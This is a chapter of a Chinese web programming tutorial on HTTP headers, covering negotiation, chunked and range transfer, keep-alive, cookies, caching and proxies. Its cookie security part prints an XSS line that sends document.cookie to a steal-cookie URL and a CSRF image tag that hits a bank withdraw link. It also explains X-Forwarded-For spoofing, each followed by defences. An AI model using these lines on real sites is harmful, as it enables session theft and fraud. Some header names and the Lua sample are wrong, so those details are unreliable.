本文為《三萬長文50+趣圖帶你領(lǐng)悟web編程的內(nèi)功心法》第四個(gè)章節(jié)。
4、HTTP常用請求頭大揭秘
上面列出了報(bào)文的各種請求頭、響應(yīng)頭、狀態(tài)碼,是不是感到特別暈?zāi)亍_@節(jié)我們就專門挑一些最常用的請求頭,舉例說明請求頭對應(yīng)支撐的HTTP功能。
4.1、數(shù)據(jù)類型、壓縮編碼,語言,內(nèi)容協(xié)商和質(zhì)量值
我們來看一個(gè)最基本的HTTP交互。

其中,GET表示方法,就不多說了。
Host:Host 請求頭指明了請求將要發(fā)送到的服務(wù)器主機(jī)名和端口號(hào)。Host讓虛擬主機(jī)托管成為了可能,也就是一個(gè)IP上提供多個(gè)Web服務(wù)。
協(xié)商
客戶端先發(fā)送Accept、Accept-Encoding、Accept-Language請求頭進(jìn)行協(xié)商。其中:
- Accept指明了客戶端可理解的MIME type,用“,”做分隔符,列出多個(gè)類型;
- Appcep-Encoding指明客戶端可理解的壓縮格式;
- Accept-Languate指明客戶端可理解的自然語言;
可以給每個(gè)協(xié)商項(xiàng)指定質(zhì)量值q。質(zhì)量值從0~1,1最高,表示最期望服務(wù)器采用該類型,0表示拒絕接受該類型。
協(xié)商結(jié)果
服務(wù)端會(huì)在響應(yīng)頭里面告知協(xié)商的結(jié)果:
- Content-Type表示服務(wù)端實(shí)際采用的類型;
- Content-Encoding表示服務(wù)端實(shí)際采用的壓縮格式,如果相應(yīng)報(bào)文沒有該請求頭,則代表服務(wù)端沒有開啟壓縮;
- Content-Language表示服務(wù)端實(shí)際采用的自然語言;
服務(wù)端是怎么協(xié)商的
服務(wù)端在客戶端請求中,用了哪些請求頭部信息進(jìn)行協(xié)商的呢,這里需要用到Vary首部:
Vary: *
Vary: <header-name>, <header-name>, ...
例如:
Vary: User-Agent
表示服務(wù)器依據(jù) User-Agent 字段,決定發(fā)回了響應(yīng)報(bào)文。此場景常見于:對于不同的終端,返回的內(nèi)容是不同的,那么就需要用 User-Agnet進(jìn)行區(qū)分以及緩存了。
更多協(xié)商信息:《HTTP權(quán)威指南》第17章 內(nèi)容協(xié)商與轉(zhuǎn)碼[1]
字符集
另外,客戶端和服務(wù)端也可以協(xié)商字符集:
- 請求頭:Accept-Charset;
- 響應(yīng)頭:沒有單獨(dú)的響應(yīng)頭,而是附加在Content-Type中:
Content-Type: text/html; charset=utf-8
協(xié)商請求響應(yīng)頭對應(yīng)關(guān)系如下圖:

4.2、分塊傳輸編碼、范圍請求和多段數(shù)據(jù)
分塊傳輸響應(yīng)頭:Transfer-Encoding: chunked。
4.2.1、分塊傳輸編碼 Transfer-Encoding: chunked
一般情況下,我們請求后端,都可以拿到靜態(tài)資源的完整Content-Length大小,一次性傳輸?shù)娇蛻舳恕?/p>
對于動(dòng)態(tài)頁面,也可以在后端一次性生成所有需要返回的內(nèi)容,得到Content-Length大小,一次性傳輸?shù)娇蛻舳恕?/p>
但是想象以下場景:Content-Encoding為gzip,服務(wù)端進(jìn)行壓縮的時(shí)候,需要一塊很大的字節(jié)數(shù)組進(jìn)行壓縮,最終得到整個(gè)數(shù)組的Content-Length。
舉個(gè)例子:如下圖:

客戶端需要向服務(wù)器請求獲取一串葡萄,最期望拿到一串新疆葡萄,可以使用gzip編碼。
最終客戶端通過gzip,把葡萄壓縮成了葡萄干,一次性傳輸給了客戶端??蛻舳四玫搅怂械钠咸迅桑鈮夯仄咸?。
至于葡萄干注水還原回葡萄的技術(shù)有待大家研究實(shí)現(xiàn),研究出來了可以分享給我,謝謝!
可以發(fā)現(xiàn):服務(wù)端在壓縮的過程中很占緩存,只能等壓縮完成之后一次性傳輸,傳輸?shù)膬?nèi)容龐大,瞬間占用網(wǎng)絡(luò),如果帶寬不夠,就會(huì)導(dǎo)致消息延遲。
那么,這個(gè)時(shí)候,我們就可以使用分塊傳輸來優(yōu)化這個(gè)流程了:
我們可以將葡萄一顆一顆的壓縮傳輸給客戶端一顆,這樣傳輸?shù)臅r(shí)候就不用占用太多內(nèi)存,傳輸也不會(huì)瞬時(shí)占用太多帶寬了:

分塊傳輸編碼格式
下面我們通過一個(gè)具體的請求來說明分塊傳輸編碼的響應(yīng)格式。
這里我們用OpenResty服務(wù)器,假設(shè)請求的服務(wù)端代碼是這樣的lua腳本:
ngx.header['Content-Type'] = 'text/plain;charset=utf-8'
ngx.header['Transfer-Encoding'] = 'chunked'
for i=1,10 do
ngx.print('第' + i + '顆葡萄\n')
ngx.flush(true)
end
我們抓包來看看完整的TCP請求,圖片比較大,感興趣的同學(xué)放大查看:

分析下TCP包:
- 21~23:是TCP連接三次握手的過程;
- 24:服務(wù)端通知客戶端窗口大小變更;
- 25:也就是第一個(gè)高亮的行,發(fā)起HTTP請求,嘗試獲取一串葡萄;
- 27~41:服務(wù)端分塊多次推送了一顆顆的葡萄給到客戶端;
- 43:最終在HTTP應(yīng)用層,拿到了完整的一串葡萄,10個(gè)Data chunk對應(yīng)10顆葡萄:

頁面展示如下:
grape 1
grape 2
grape 3
grape 4
grape 5
grape 6
grape 7
grape 8
grape 9
grape 10
根據(jù)以上抓包的報(bào)文格式,可以得到最終的HTTP響應(yīng)報(bào)文格式如下:

注意:
分塊傳輸和編碼只在HTTP/1.1版本中提供。
HTTP/2不支持分塊傳輸,因?yàn)槠浔旧硖峁┑母痈呒?jí)的流傳輸實(shí)現(xiàn)了類似的功能。
4.2.2、范圍請求
范圍請求響應(yīng)頭:Accept-Ranges: bytes,有這個(gè)響應(yīng)頭的,就表示當(dāng)前響應(yīng)的資源支持范圍請求。
假設(shè)一個(gè)文件很大,我們想要獲取其中的一部分,這個(gè)時(shí)候就可以使用范圍請求了。范圍請求常用語實(shí)現(xiàn)以下功能更:
- 看視頻,拖到某一個(gè)時(shí)間點(diǎn)進(jìn)行加載;
- 下載工具中的多線程分段下載;
- 下載工具中高端斷點(diǎn)續(xù)傳,如果網(wǎng)絡(luò)不好,斷開連接了,等到重新連接之后,可以繼續(xù)獲取剩余部分內(nèi)容。
范圍請求頭
確定了服務(wù)端支持范圍請求之后,客戶端在請求中使用Range請求頭,指定要接收的范圍即可,如:
-- 格式:bytes=x-y,x y表示偏移量,從0開始
-- 請求獲取前面11個(gè)字節(jié)
Range: bytes=0-10
-- 請求所有內(nèi)容
Range: bytes=10-
-- 獲取文檔最后10個(gè)字節(jié)
Range: bytes=-10
服務(wù)端響應(yīng)
- 請求范圍不合法,返回狀態(tài)碼416: Range Not Satisfiable;
- 請求合法,返回狀態(tài)碼206: Partial Content;
- 響應(yīng)頭添加:Content-Range: bytes x-y/length,表示本次實(shí)際響應(yīng)的范圍

舉個(gè)例子,我們請求IT宅首頁,如下:
# 執(zhí)行以下請求:
curl -i -H 'Range: bytes=0-15' https://www.itzhai.com
# 結(jié)果如下:
HTTP/1.1 206 Partial Content
Server: nginx/1.16.1
Date: Sun, 30 Aug 2020 02:22:59 GMT
Content-Type: text/html
Content-Length: 16
Last-Modified: Fri, 01 May 2020 03:45:21 GMT
Connection: keep-alive
ETag: "5eab9b51-134ee"
Content-Range: bytes 0-15/79086
<!DOCTYPE html>
多段數(shù)據(jù)
范圍請求支持同時(shí)請求多段數(shù)據(jù),下面是一個(gè)例子:
# 執(zhí)行以下請求:
curl -i -H 'Range: bytes=0-15, 16-26' https://www.itzhai.com
# 結(jié)果如下:
HTTP/1.1 206 Partial Content
Server: nginx/1.16.1
Date: Sun, 30 Aug 2020 02:27:07 GMT
Content-Type: multipart/byteranges; boundary=00000000000000000023
Content-Length: 228
Last-Modified: Fri, 01 May 2020 03:45:21 GMT
Connection: keep-alive
ETag: "5eab9b51-134ee"
--00000000000000000023
Content-Type: text/html
Content-Range: bytes 0-15/79086
<!DOCTYPE html>
--00000000000000000023
Content-Type: text/html
Content-Range: bytes 16-26/79086
<html class
--00000000000000000023--
響應(yīng)格式如下:

4.3、HTTP/1.1連接管理
說到HTTP的連接,就不得不先說說TCP的連接管理了,我們來回顧下TCP的建立連接,傳輸數(shù)據(jù),關(guān)閉連接的過程[2]:

這里詳細(xì)流程就不說了,詳細(xì)參考我的上一篇關(guān)于網(wǎng)絡(luò)內(nèi)功心法的文章[2]。
可以發(fā)現(xiàn)為了傳輸數(shù)據(jù),三次握手和四次揮手,分別消耗了1.5個(gè)RTT和2個(gè)RTT(Round-trip time RTT),假設(shè)建立起這個(gè)TCP連接就為了來回傳輸一次數(shù)據(jù),可以發(fā)現(xiàn)其利用率很低:
1 / (1 + 1.5 + 2) = 22%
4.3.1、短連接的弊端
如下圖:

每次傳輸數(shù)據(jù),都需要建立新的鏈接,這種連接我們稱為短連接。
由上面分析可知,短連接極大的降低了傳輸效率,每次有什么數(shù)據(jù)需要傳輸,都要重新進(jìn)行三次握手和四次揮手。
早期的HTTP是短連接的,或稱為無連接。
4.3.2、為什么要有長連接
為了解決效率問題,于是出現(xiàn)了長連接。由上面分析可知,短連接傳輸效率低,所以,自從HTTP/1.1開始,默認(rèn)就支持了長連接,也稱為持久連接。
所謂長連接,就是在跟服務(wù)端約定,本次創(chuàng)建的連接,后邊還會(huì)繼續(xù)用到。于是,這樣約定之后,TCP層通過TCP的keep-alive機(jī)制維持TCP連接。
TCP如何維持連接呢,這里介紹系統(tǒng)內(nèi)核的三個(gè)相關(guān)配置參數(shù):
net.ipv4.tcp_keepalive_intvl= 15;
net. ipv4.tcp_keepalive_probes= 5;
net.ipv4.tcp_keepalive_time= 1800;當(dāng)TCP連接閑置了
tcp_keepalive_time秒之后,服務(wù)端就嘗試向客戶端發(fā)送偵測包,來判斷TCP連接狀態(tài),如果偵測后沒有收到ack反饋,那么在tcp_keepalive_intvl秒后再次嘗試發(fā)送偵測包,知道接收到ack反饋。一共會(huì)嘗試tcp_keepalive_probes次偵測請求。如果嘗試tcp_keepalive_probes次之后,依然沒有收到ack包,那么就會(huì)丟棄這個(gè)TCP連接了。
使用長連接的HTTP協(xié)議,會(huì)在響應(yīng)頭加入這個(gè):
Connection: keep-alive
如下圖:

客戶端和服務(wù)器一旦建立連接之后,可以一直復(fù)用這個(gè)連接進(jìn)行傳輸。
4.3.3、長連接問題
4.3.3.1、如何避免長連接資源浪費(fèi)
如果建立長連接之后,一直不用,對于服務(wù)器來說是多么浪費(fèi)資源呀。為此需要有關(guān)閉長連接的機(jī)制。
場景的控制手段:
-
系統(tǒng)內(nèi)核參數(shù)設(shè)置:如上一節(jié)提到的幾個(gè)參數(shù); -
客戶端請求頭聲明:- 請求頭聲明
Connection: close,本次通信技術(shù)之后就關(guān)閉連接。
- 請求頭聲明
-
服務(wù)端配置:如Nginx,設(shè)置- keepalive_timeout:設(shè)置長連接超時(shí)時(shí)間;
- keepalive_requests:設(shè)置長連接請求次數(shù)上限。
4.3.3.2、長連接的缺點(diǎn)
我們可以建立起TCP長連接,但是HTTP/1.1是請求應(yīng)答模型的,只要一個(gè)請求還沒有收到應(yīng)答,當(dāng)前TCP連接就不可以發(fā)起下一個(gè)請求,也就是HTTP請求隊(duì)頭阻塞:

當(dāng)前客戶端與服務(wù)端值創(chuàng)建了一個(gè)已連接套接字,即一個(gè)TCP連接,客戶端所有請求都通過這個(gè)TCP連接發(fā)送,由于request 1請求還沒有接收到應(yīng)答,其他的request就不能發(fā)起請求了。
為了減小請求阻塞等待的影響,于是人們考慮在同一個(gè)瀏覽器里面開啟多個(gè)TCP連接,這樣,即使一個(gè)TCP被阻塞了,還有另外的可以繼續(xù)發(fā)起請求。

不過客戶端開太多TCP連接,會(huì)導(dǎo)致服務(wù)器承受更大的壓力。在RFC2616中限制客戶端最多并發(fā)兩個(gè),但是目前大部分瀏覽器支持6個(gè)或者更多的并發(fā)連接數(shù)。
為了進(jìn)一步優(yōu)化前端加載請求,這個(gè)時(shí)期出現(xiàn)了很多各式的前端優(yōu)化小技巧,如:
- 為了增加并發(fā)請求,做域名拆分,這樣就突破了瀏覽器對并發(fā)請求數(shù)的限制了;
- CSS、JS等資源內(nèi)聯(lián)到HTML中,或者進(jìn)行資源合并,從而減少客戶端的并發(fā)請求數(shù);
- 生成精靈圖,一次性傳輸所有小圖標(biāo),從而減少客戶端的并發(fā)請求數(shù);
- 資源預(yù)取...
不過,HTTP/2解決了HTTP請求的隊(duì)頭阻塞,有些原有的優(yōu)化在HTTP/2中則成為了反模式,如:域名拆分后需要建立多個(gè)域名的連接,精靈圖或者合并CSS、JS等導(dǎo)致不能更靈活的控制緩存...
4.3.4、管道化長連接
管道傳輸技術(shù)是在HTTP/1.1中引入的,在HTTP/1.0中不存在。
HTTP管道傳輸技術(shù)可以在單個(gè)TCP連接上連續(xù)發(fā)送多個(gè)HTTP請求,而無需等待響應(yīng),截止2018年,由于一些問題(如錯(cuò)誤的代理服務(wù)器和TCP隊(duì)頭阻塞),現(xiàn)代瀏覽器默認(rèn)未啟用管道。
引入了管道技術(shù)之后的長連接如下圖:

多個(gè)HTTP請求可以連續(xù)發(fā)送出去,而不用等待已發(fā)送請求的響應(yīng),請求和響應(yīng)都是通過FIFO隊(duì)列進(jìn)行的。
不過由于TCP是嚴(yán)格按照順序進(jìn)行傳輸數(shù)據(jù)的,前面的TCP數(shù)據(jù)丟失,就會(huì)導(dǎo)致阻塞后續(xù)的分組數(shù)據(jù),這也就是TCP的隊(duì)頭阻塞。
管道化長連接有何問題?
根據(jù)上面的分析可知,HTTP管道有如下問題:
- 慢響應(yīng)會(huì)導(dǎo)致TCP隊(duì)頭阻塞(HOL blocking),影響后續(xù)請求;
- 如果前面的某個(gè)響應(yīng)失敗了,會(huì)導(dǎo)致TCP連接終止,那么未響應(yīng)的請求都得重新進(jìn)行發(fā)送了;
- 如果請求鏈中有很多中間代理,代理對管道的兼容性則成為了問題,很有可能導(dǎo)致管道機(jī)制失效,因?yàn)榇蠖鄶?shù)HTTP代理不通過管道進(jìn)行傳輸;
- 由于FIFO機(jī)制,導(dǎo)致有些請求被接收之后,還保持了不必要的很長的時(shí)間;
- ...
基于以上眾多問題,在所有主要瀏覽器中,只有Opera瀏覽器才在默認(rèn)情況下啟用管道機(jī)制,其他瀏覽器基本默認(rèn)不啟用管道機(jī)制。
4.3.5、長連接如何改善
我們知道,長連接有如下缺點(diǎn):
- 由于保持連接,影響服務(wù)器性能;
- 可能發(fā)生隊(duì)頭阻塞,造成信息延遲。
HTTP的多路復(fù)用技術(shù)支持多個(gè)請求同時(shí)發(fā)送,類似于多線程的并發(fā)機(jī)制,更充分的利用到了建立好的一個(gè)長連接。
HTTP2相關(guān)特性我們后面再詳細(xì)介紹。
4.4、HTTP/1.1的Cookie機(jī)制
由于HTTP是無狀態(tài)的,于是出現(xiàn)Cookie和Session,為HTTP彌補(bǔ)了狀態(tài)存儲(chǔ)的問題。
HTTP Cookie是服務(wù)器發(fā)送到用戶瀏覽器并保存在本地的一小塊數(shù)據(jù),它會(huì)在瀏覽器下次向同一服務(wù)器再發(fā)起請求時(shí)被攜帶并發(fā)送到服務(wù)器上。
就像我們?nèi)ス緢?bào)道,公司給你辦理了一張工卡,門口的保安大哥可不會(huì)記住哪些人是公司的,于是只能叫你出示工卡。如果把公司比作服務(wù)器的話,這張工卡就相當(dāng)于Cookie,我們每次出示工卡給保安大哥,于是就驗(yàn)證通過了。

Cookie工作機(jī)制:瀏覽器請求服務(wù)器之后,服務(wù)器響應(yīng)頭可以添加Set-Cookie字段,瀏覽器拿到Cookie之后,按域名區(qū)分存儲(chǔ)起來,下次請求同一個(gè)域名的服務(wù)器,通過Cookie請求頭傳給服務(wù)端,服務(wù)端則可以根據(jù)Cookie信息判斷到時(shí)之前請求的一個(gè)客戶端。
Cookie關(guān)鍵屬性
| 屬性名 | 作用 |
|---|---|
| Expires | 過期時(shí)間,一個(gè)絕對的時(shí)間點(diǎn) |
| Max-Age | 設(shè)置單位為秒的cookie生存期,瀏覽器優(yōu)先使用Max-Age |
| Domain | 指定Cookie所屬的域名 |
| Path | 指定Cookie所屬的路徑前綴,瀏覽器在發(fā)起請求前,判斷瀏覽器Cookie中的Domain和Path是否和請求URI匹配,只有匹配才會(huì)附加Cookie |
| HttpOnly | 指明該Cookie只能通過瀏覽器的HTTP協(xié)議傳輸,瀏覽器JS引擎將禁用document.cookie等api,從而避免被不壞好意的人拿到cookie信息。此預(yù)防措施有助于緩解跨站點(diǎn)腳本(XSS)攻擊。 |
| Secure | 指明只能通過被 HTTPS 協(xié)議加密過的請求發(fā)送給服務(wù)端,但即便設(shè)置了 Secure 標(biāo)記,敏感信息也不應(yīng)該通過 Cookie 傳輸,因?yàn)?Cookie 有其固有的不安全性,Secure 標(biāo)記也無法提供確實(shí)的安全保障, 例如,可以訪問客戶端硬盤的人可以讀取它。 |
| SameSite | SameSite=None: 瀏覽器會(huì)在同站請求、跨站請求下繼續(xù)發(fā)送 cookies,不區(qū)分大小寫<br />SameSite=Strict:限定Cookie不能隨著跳轉(zhuǎn)連接跨站發(fā)送,只在訪問相同站點(diǎn)時(shí)發(fā)送 cookie<br />SameSite=Lax:允許GET/HEAD等安全方法,禁止POST跨站點(diǎn)發(fā)送,在新版本瀏覽器中,為默認(rèn)選項(xiàng),Same-site cookies 將會(huì)為一些跨站子請求保留,如圖片加載或者 frames 的調(diào)用,但只有當(dāng)用戶從外部站點(diǎn)導(dǎo)航到URL時(shí)才會(huì)發(fā)送 |
4.4.1、Cookie常見安全問題
XSS攻擊
通過腳本注入,竊取Cookie,如:
(new Image()).src = "http://www.itzhai.com/steal-cookie?cookie=" + document.cookie;
上面表格中提到的HttpOnly正是為了阻止JavaScript 對其的訪問性而能在一定程度上緩解此類攻擊。
CSRF跨站請求偽造
在不安全的聊天室或者論壇等,看到一張圖片,實(shí)際上他可能是請求了你的某個(gè)銀行的轉(zhuǎn)賬接口,讓你的錢轉(zhuǎn)到別人的賬上,如果打開了這個(gè)圖片,并且之前已經(jīng)登陸過銀行賬號(hào),并且Cookie仍然有效,那么錢就有可能被轉(zhuǎn)走了。
<img src="http://bank.test.com/withdraw?account=youraccount&amount=10000&for=arthinking">
為此,常見對因?qū)Υ胧┯校?/p>
- 對用戶輸入進(jìn)行XSS過濾;
- 敏感的業(yè)務(wù)操作都需要添加各種形式的校驗(yàn):如密碼、短信驗(yàn)證碼等;
- 敏感信息Cookie設(shè)置有效期盡可能短...
本文首次發(fā)表于: HTTP常用請求頭大揭秘 以及公眾號(hào) Java架構(gòu)雜談,未經(jīng)許可,不得轉(zhuǎn)載。
4.5、HTTP緩存機(jī)制
4.5.1、緩存請求指令
客戶端可以用Cache-Control請求首部來強(qiáng)化或者放松對過期時(shí)間的限制。
| 指令 | 說明 |
|---|---|
Cache-Control: max-age=<seconds>
|
拒絕接受緩存時(shí)間長于seconds秒的資源,如果seconds為0,則表示請求獲取最新的資源; |
| Cache-control: no-cache | 除非資源進(jìn)行了再驗(yàn)證,否則這個(gè)客戶端不會(huì)接受已緩存的資源; |
| Cache-control: no-store | 緩存不應(yīng)存儲(chǔ)有關(guān)客戶端請求或服務(wù)器響應(yīng)的任何內(nèi)容,即不使用任何緩存; |
| Cache-control: only-if-cached | 表明客戶端只接受已緩存的響應(yīng),并且不要向原始服務(wù)器檢查是否有新的拷貝; |
| Cache-control: no-transform | 不得對資源進(jìn)行轉(zhuǎn)換或轉(zhuǎn)變。Content-Encoding、Content-Range、Content-Type等HTTP頭不能由代理修改 |
Cache-Control: max-stale[=<seconds>]
|
表明客戶端愿意接收一個(gè)已經(jīng)過期的資源。可以設(shè)置一個(gè)可選的秒數(shù),表示響應(yīng)不能已經(jīng)過時(shí)超過該給定的時(shí)間 |
Cache-Control: min-fresh=<seconds>
|
表示客戶端希望獲取一個(gè)能在指定的秒數(shù)內(nèi)保持其最新狀態(tài)的響應(yīng) |
4.5.2、緩存響應(yīng)指令
| 指令 | 說明 |
|---|---|
Cache-Control: max-age=<seconds>
|
設(shè)置緩存存儲(chǔ)的最大周期,超過這個(gè)時(shí)間緩存被認(rèn)為過期(單位秒) |
| Cache-control: no-store | 緩存不應(yīng)存儲(chǔ)有關(guān)客戶端請求或服務(wù)器響應(yīng)的任何內(nèi)容,即不使用任何緩存 |
| Cache-control: no-cache | 在發(fā)布緩存副本之前,強(qiáng)制要求緩存把請求提交給原始服務(wù)器進(jìn)行驗(yàn)證(協(xié)商緩存驗(yàn)證) |
| Cache-Control: must-revalidate | 一旦資源過期(比如已經(jīng)超過max-age),在成功向原始服務(wù)器驗(yàn)證之前,緩存不能用該資源響應(yīng)后續(xù)請求 |
| Cache-control: no-transform | 一旦資源過期(比如已經(jīng)超過max-age),在成功向原始服務(wù)器驗(yàn)證之前,緩存不能用該資源響應(yīng)后續(xù)請求 |
| Cache-control: public | 表明響應(yīng)可以被任何對象(包括:發(fā)送請求的客戶端,代理服務(wù)器,等等)緩存,即使是通常不可緩存的內(nèi)容。(例如:1.該響應(yīng)沒有max-age指令或Expires消息頭;2. 該響應(yīng)對應(yīng)的請求方法是 POST 。) |
| Cache-control: private | 表明響應(yīng)只能被單個(gè)用戶緩存,不能作為共享緩存(即代理服務(wù)器不能緩存它)。私有緩存可以緩存響應(yīng)內(nèi)容,比如:對應(yīng)用戶的本地瀏覽器 |
| Cache-control: proxy-revalidate | 與must-revalidate作用相同,但它僅適用于共享緩存(例如代理),并被私有緩存忽略 |
Cache-control: s-maxage=<seconds>
|
覆蓋max-age或者Expires頭,但是僅適用于共享緩存(比如各個(gè)代理),私有緩存會(huì)忽略它 |
4.5.3、服務(wù)器再驗(yàn)證
| 指令 | 說明 |
|---|---|
| If-Modified-Since: Date | 第一次響應(yīng)報(bào)文提供Last-modified,第二次請求帶上這個(gè)值,給服務(wù)端驗(yàn)證緩存是否有修改,無修改則返回:304 Not Modified |
| If-None-Match: ETag | 第一次響應(yīng)報(bào)文提供ETag,第二次請求帶上這個(gè)值,給服務(wù)端驗(yàn)證緩存是否最新,無修改則返回:304 Not Modified, |
Last-modified和ETag有什么區(qū)別?
有任何改動(dòng),ETag都會(huì)變動(dòng),但是同一秒內(nèi)的改動(dòng),Last-modified是一樣的。
4.6、HTTP代理
想象一下我們傳統(tǒng)的三層架構(gòu),如果我們想統(tǒng)一把批量修改數(shù)據(jù)的SQL屏蔽掉,那么直接修改DAO層,統(tǒng)一攔截處理就可以了。類似的,網(wǎng)絡(luò)系統(tǒng)也是如此,在傳統(tǒng)的客戶端和服務(wù)端之間,可能會(huì)存在各種各樣的代理服務(wù)器,用于實(shí)現(xiàn)各種功能。
常見的代理有兩種:普通代理-中間人代理,隧道代理。
4.6.1、普通代理[3]
話不多說,我們直接上圖,說明一下代理的工作原理:

代理既是服務(wù)器,又是客戶端。
代理工作原理:客戶端向代理發(fā)送請求,代理接收請求并與客戶端建立連接,然后轉(zhuǎn)發(fā)請求給服務(wù)器,服務(wù)器接收請求并與代理建立連接,最終把響應(yīng)按原路返回。
當(dāng)然,實(shí)際的場景中,客戶端與服務(wù)器可能包含多個(gè)代理服務(wù)器。
代理最常見到的請求頭
RFC 7230中定義了Via,用于追蹤請求和響應(yīng)消息轉(zhuǎn)發(fā)情況;RFC 7239中定義了X-Forwarded-For用于記錄客戶端請求的來源IP;X-Real-IP可以用于記錄客戶端實(shí)際請求IP,該請求頭不屬于任何標(biāo)準(zhǔn)。
Via:**Via**是一個(gè)通用首部,是由代理服務(wù)器添加的,適用于正向和反向代理,在請求和響應(yīng)首部中均可出現(xiàn)。這個(gè)消息首部可以用來追蹤消息轉(zhuǎn)發(fā)情況,防止循環(huán)請求,以及識(shí)別在請求或響應(yīng)傳遞鏈中消息發(fā)送者對于協(xié)議的支持能力;-
X-Forwarded-For:每經(jīng)過一級(jí)代理(匿名代理除外),代理服務(wù)器都會(huì)把這次請求的來源IP追加在X-Forwarded-For中:X-Forwarded-For: client, proxy1, proxy2注意:與服務(wù)器直連的代理的IP不會(huì)被追加到X-Forwarded-For中,該代理可以通過TCP連接的Remote Address字段獲取到與服務(wù)器直連的代理IP地址;
X-Real-IP:記錄與當(dāng)前代理服務(wù)器建立TCP連接的客戶端的IP,一般通過$remote_addr獲取,這個(gè)IP是上一級(jí)代理的IP,如果沒有代理,則是客戶端的IP;
一般我們在Nginx中會(huì)做如下配置:
location / {
proxy_set_header X-Real-IP $remote_addr; // 與服務(wù)器建立TCP連接的客戶端的IP作為X-Real-IP
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; // 追加請求的來源IP
...
}
假設(shè)我們所有的代理都按照如上設(shè)置,那么請求頭變化情況則如下:

客戶端IP偽造
注意,X-Forwarded-For是可以偽造的,一些通過X-Forwarded-For獲取到的客戶端IP來限制刷投票的系統(tǒng)就可以通過偽造該請求頭來打到刷票的效果,如果客戶端請求顯示指定了X-Forwarded-For
X-Forwarded-For: 192.168.1.2
那么,服務(wù)器接收到的該請求頭,第一個(gè)IP就是這個(gè)偽造的IP了。
如何防范IP偽造?
方法一:在對外Nginx服務(wù)器上配置:
proxy_set_header X-Forwarded-For $remote_addr;
這樣,第一個(gè)IP就是從TCP連接的客戶端IP地址了,不會(huì)讀取客戶端偽造的X-Forwarded-For。
方法二:從右到左遍歷X-Forwarded-For的IP,剔除已知代理服務(wù)器IP和內(nèi)網(wǎng)IP,獲取到第一個(gè)符合條件的IP。
正向代理和反向代理
工作在客戶端的代理我們稱為正向代理。使用正向代理的時(shí)候,需要在客戶端配置使用的代理服務(wù)器,正向代理對服務(wù)端透明。我們常用的Fiddler、charles抓包工具,以及訪問一些外網(wǎng)網(wǎng)站的代理工具就屬于正向代理。
如下圖:

正向代理通常用于:
- 緩存;
- 屏蔽某些不健康的網(wǎng)站;
- 通過代理訪問原本無法訪問的網(wǎng)站;
- 上網(wǎng)認(rèn)證,對用于進(jìn)行訪問授權(quán)...
工作在服務(wù)端的代理我們稱為反向代理。使用反向代理的時(shí)候,無需在客戶端進(jìn)行設(shè)置,反向代理對客戶端透明。反向代理(Reverse Proxy)這個(gè)名詞有點(diǎn)讓人摸不著頭腦,不過就這么叫吧,我們常用的nginx就是屬于反向代理。
如下圖:

通用把80作為http的端口,把433端口作為https的端口。
反向代理通常用于:
- 負(fù)載均衡;
- 服務(wù)端緩存;
- 流量隔離;
- 日志;
- 金絲雀發(fā)布...
代理中的持久連接
Connection請求頭
我們得先介紹下Connection請求頭字段。
在各個(gè)代理和服務(wù)器、客戶端節(jié)點(diǎn)之間的是一段一段的TCP連接,客戶端通過中間代理,訪問目標(biāo)服務(wù)器的過程也叫逐段傳輸,用于逐段傳輸?shù)恼埱箢^被稱為逐段傳輸頭。
逐段傳輸頭會(huì)在每一段傳輸?shù)闹虚g代理中處理掉,不會(huì)往下傳輸給下一個(gè)代理。
標(biāo)準(zhǔn)的逐段傳輸頭有:Keep-Alive, Transfer-Encoding, TE, Connection, Trailer, Upgrade, Proxy-Authorization 和 Proxy-Authenticate。
Connection 頭(header) 決定當(dāng)前的事務(wù)完成后,是否會(huì)關(guān)閉網(wǎng)絡(luò)連接。如果該值是“keep-alive”,網(wǎng)絡(luò)連接就是持久的,不會(huì)關(guān)閉,使得對同一個(gè)服務(wù)器的請求可以繼續(xù)在該連接上完成。
除此之外,除了標(biāo)準(zhǔn)的逐段傳輸頭,任何逐段傳輸頭都需要在Connection頭中列出,這樣才能夠讓請求的代理知道并處理掉它們并且不轉(zhuǎn)發(fā)這些頭,當(dāng)然,標(biāo)準(zhǔn)的逐段傳輸頭也可以列出。
有了這個(gè)Connection頭,代理就知道要處理掉哪些請求頭了, 比如代理會(huì)處理掉Keep-Alive,根據(jù)自己的實(shí)際情況看看是否支持Keep-Alive,如果不支持,就不會(huì)繼續(xù)往下傳了。
Nginx keep-alive
比如,Nginx作為反向代理,可以為其設(shè)置keep-alive機(jī)制,nginx開啟了keep-alive的時(shí)候,連接是這樣的 :

Nginx中關(guān)于keep-alive[4]的設(shè)置:
- keepalive: 設(shè)置連接池最大的空閑連接數(shù)量;
- keepalive_timeout: 設(shè)置客戶端連接超時(shí)時(shí)間,為0的時(shí)候表示禁用長連接;
- keepalive_requests: 設(shè)置一個(gè)長連接上可以服務(wù)的最大請求數(shù)量。
古老的代理如何處理持久連接
網(wǎng)絡(luò)是復(fù)雜的,特別是加入了很多代理之后,假如客戶端想要發(fā)起持久連接,而中間某些古老的代理服務(wù)器,可能不認(rèn)識(shí)Connection頭,也不支持持久連接,會(huì)出現(xiàn)什么情況呢?

如上圖,中間的兩臺(tái)代理不認(rèn)識(shí)Connection: keep-alive,于是直接轉(zhuǎn)發(fā)了,最終服務(wù)器收到這個(gè)頭,以為proxy2要和他建立持久連接,于是響應(yīng)了Connection: keep-alive,代理服務(wù)器轉(zhuǎn)發(fā)回給客戶端,客戶端以為建立成功了長連接,于是繼續(xù)使用這個(gè)連接發(fā)送消息,可是中間的代理在處理完請求響應(yīng)之后,早就已經(jīng)把TCP連接給關(guān)閉了,從而最終導(dǎo)致瀏覽器請求連接超時(shí)。
為了避免這類問題,有時(shí)候服務(wù)器會(huì)選擇直接忽略HTTP/1.0的Keep-Alive特性,也就是不使用持久連接,也不會(huì)返回Keep-Alive給客戶端。
4.6.2、隧道代理[5]
HTTP客戶端可以通過CONNECT方法請求隧道代理創(chuàng)建一個(gè)到人任意目標(biāo)服務(wù)器和端口號(hào)的TCP連接,連接創(chuàng)建完成之后,后續(xù)隧道代理只做請求和響應(yīng)數(shù)據(jù)的轉(zhuǎn)發(fā),就像一條隧道一樣,這也是隧道代理名字的由來。
為什么需要隧道代理?
想象以下,我們要請求的HTTPS服務(wù)中間經(jīng)過了代理,我們是不是 要先讓客戶端跟代理服務(wù)器建立HTTPS連接呢?顯然這樣是無法實(shí)現(xiàn)的,因?yàn)橹虚g代理沒有網(wǎng)站的私鑰證書,所以最終導(dǎo)致瀏覽器和代理之間的TLS無法創(chuàng)建。
